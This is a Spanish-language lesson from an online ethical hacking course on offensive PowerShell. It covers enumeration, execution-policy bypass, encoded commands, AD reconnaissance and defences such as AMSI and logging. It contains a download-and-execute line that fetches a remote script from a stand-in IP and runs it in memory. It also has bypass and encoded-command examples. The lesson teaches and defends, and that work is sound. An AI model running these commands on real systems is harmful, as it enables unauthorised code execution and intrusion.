PowerShell para atacantes
PowerShell ofensivo
PowerShell para atacantes es una lección gratuita de Ethical Hacking Academy en CoddyKit. Esta es la lección 4 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de Ethical Hacking Academy, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de Ethical Hacking Academy incluye 4 lecciones en total.
Por qué PowerShell
PowerShell está integrado en Windows, se integra profundamente con el sistema operativo y .NET, y los administradores confían en él. Por eso es una herramienta de living-off-the-land muy utilizada por los atacantes: no es necesario introducir malware.
En esta lección se abordan conceptos de PowerShell ofensivo que debe comprender para atacar y defender Windows.
Cmdlets y la canalización
Los comandos de PowerShell son cmdlets con el formato Verbo-Sustantivo. Estos pasan objetos completos, no solo texto, por la canalización, lo que hace muy eficaz la enumeración.
Get-Process | Where-Object { $_.CPU -gt 10 } | Select-Object Name, IdEnumeración del sistema
Los atacantes utilizan cmdlets integrados para inspeccionar rápidamente un equipo: usuarios, servicios, red y parches.
Get-LocalUser
Get-Service | Where-Object Status -eq 'Running'
Get-NetTCPConnection -State ListenLa directiva de ejecución no es seguridad
La directiva de ejecución restringe la ejecución de archivos de script, pero no constituye un límite de seguridad. Muchos parámetros sencillos permiten omitirla, por lo que los defensores no deben depender de ella.
powershell -ExecutionPolicy Bypass -File script.ps1Descargar y ejecutar
Una técnica habitual obtiene una carga útil y la ejecuta en memoria, dejando pocos rastros en el disco. Por eso son importantes la supervisión de la red y de AMSI.
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/tool.ps1')Comandos codificados
El parámetro -EncodedCommand ejecuta PowerShell codificado en Base64 y suele utilizarse para ocultar la intención ante una inspección superficial y filtros sencillos.
Los defensores decodifican estos comandos a partir de los registros para revelar lo que realmente se ejecutó.
powershell -EncodedCommand <base64-here>Frameworks ofensivos
Los kits de herramientas maduros se basan en estas primitivas:
- PowerSploit / PowerView: enumeración de AD y explotación posterior.
- Empire / Covenant: comando y control.
- Nishang: scripts ofensivos.
Actualmente, la mayoría está ampliamente cubierta por firmas de detección.
Reconocimiento de Active Directory
En un dominio, PowerShell (PowerView o el módulo de AD) mapea usuarios, grupos y relaciones de confianza, lo que constituye la base para encontrar una ruta hasta Domain Admin.
Get-ADUser -Filter * -Properties LastLogonDate
Get-ADGroupMember 'Domain Admins'AMSI y registros
Microsoft añadió defensas específicas contra el abuso de PowerShell:
- AMSI (Antimalware Scan Interface) analiza el contenido de los scripts antes de ejecutarlos.
- Script Block Logging registra lo que se ejecuta.
- Constrained Language Mode limita las funciones peligrosas.
Los atacantes intentan eludir AMSI; los defensores supervisan los registros.
Búsqueda defensiva
Los equipos azules buscan PowerShell malicioso mediante los siguientes indicios:
- Comandos codificados u ofuscados.
- Descargas de red mediante
DownloadString/IEX. - Procesos principales inusuales (por ejemplo, Office iniciando PowerShell).
- Registros de bloques de script de AMSI y del identificador de evento 4104.
Úselo de forma ética
Estas técnicas son potentes y se corresponden directamente con intrusiones reales. Ejecútelas únicamente en su propio laboratorio o con autorización explícita por escrito.
Practicar el aspecto defensivo —leer registros y detectar eventos de AMSI— es tan valioso como practicar el ofensivo.
Comprobación rápida
Evalúe la directiva de ejecución como control.
Resumen
Ha explorado PowerShell ofensivo:
- Los cmdlets basados en objetos hacen que la enumeración sea potente y discreta (living-off-the-land).
- Descarga y ejecución, comandos codificados y frameworks como PowerView/Empire.
- La directiva de ejecución no es seguridad; AMSI y script block logging son las defensas reales.
- Opere siempre de forma ética y estudie el aspecto defensivo.
Con esto finaliza el curso Windows Internals.
Preguntas frecuentes
¿La lección «PowerShell para atacantes» es gratis?
Sí — el texto completo de «PowerShell para atacantes» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de Ethical Hacking Academy, actualiza a CoddyKit PRO. El curso de Ethical Hacking Academy incluye 4 lecciones en total.
¿Qué aprenderé en «PowerShell para atacantes»?
PowerShell ofensivo Practicas Ethical Hacking Academy con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.
¿Necesito experiencia previa para empezar Ethical Hacking Academy?
No se requiere experiencia previa. Ethical Hacking Academy en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 4 de 4.
¿Cuánto tiempo toma la lección «PowerShell para atacantes»?
La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.
¿Puedo escribir y ejecutar código en esta lección de Ethical Hacking Academy?
Sí. Cada lección de Ethical Hacking Academy incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.
Todas las lecciones de este curso
- Arquitectura de Windows
- El Registro
- Autenticación de Windows
- PowerShell para atacantes